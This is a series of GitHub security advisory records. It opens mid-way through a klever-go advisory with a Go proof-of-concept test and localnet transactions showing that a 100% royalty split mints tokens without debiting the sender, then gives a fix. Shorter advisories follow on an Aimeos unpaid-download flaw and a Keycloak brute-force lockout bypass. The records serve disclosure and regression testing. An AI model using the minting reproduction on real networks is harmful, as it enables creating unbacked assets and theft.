acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender\u0027s royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4\u2026qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty \u2014 while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx \u2014 \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d\u2026af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx \u2014 royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757\u2026bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-v358-wf77-39xv",
  "modified": "2026-08-28T20:27:44Z",
  "published": "2026-08-28T20:27:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2024.04.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.04.1"
            },
            {
              "fixed": "2024.04.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2023.04.1"
            },
            {
              "fixed": "2023.10.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2022.04.1"
            },
            {
              "fixed": "2022.10.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2021.04.1"
            },
            {
              "fixed": "2021.10.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "aimeos/ai-client-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2020.04.1"
            },
            {
              "fixed": "2020.10.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-05T13:30:55Z",
    "nvd_published_at": "2024-06-11T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nDigital downloads sold in online shops can be downloaded without valid payment, e.g. if the payment didn\u0027t succeed.\n\n### Patches\nNew versions for the Aimeos HTML client 2020-2024 are available\n",
  "id": "GHSA-v4g2-cm5v-cxv7",
  "modified": "2024-06-11T20:58:10Z",
  "published": "2024-06-05T13:30:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/security/advisories/GHSA-v4g2-cm5v-cxv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/12d8aad1a373bf9d350872501adec3e222164f83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/5a7249769142b3ce70959ab1fb70c7e7c251e214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/6460ffe8f4929d864164aa96c5b49eca5326d975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/7f01d2f4fbc67f5231fd84adeb835d28252b8409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimeos/ai-client-html/commit/fc611ff9a57e421d0ad9d99346b561cea515c5f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aimeos/ai-client-html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Digital products download without proper payment status check"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-16103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305",
      "CWE-841"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T17:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the keycloak-services component of Keycloak. This issue is an incomplete fix for CVE-2026-9798, where brute-force protection checks were added to the Client-Initiated Backchannel Authentication (CIBA) initiation handler but were omitted from the token redemption handler. This allows an attacker with valid client credentials to obtain access and refresh tokens for a user account that has been locked due to brute-force protection, provided the authentication request was started before the lockout occurred and was approved by the user.",
  "id": "GHSA-v7m3-vpqr-6m6p",
  "modified": "2026-07-17T18:31:26Z",
  "published": "2026-07-17T18:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16103"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-16103"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2501736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}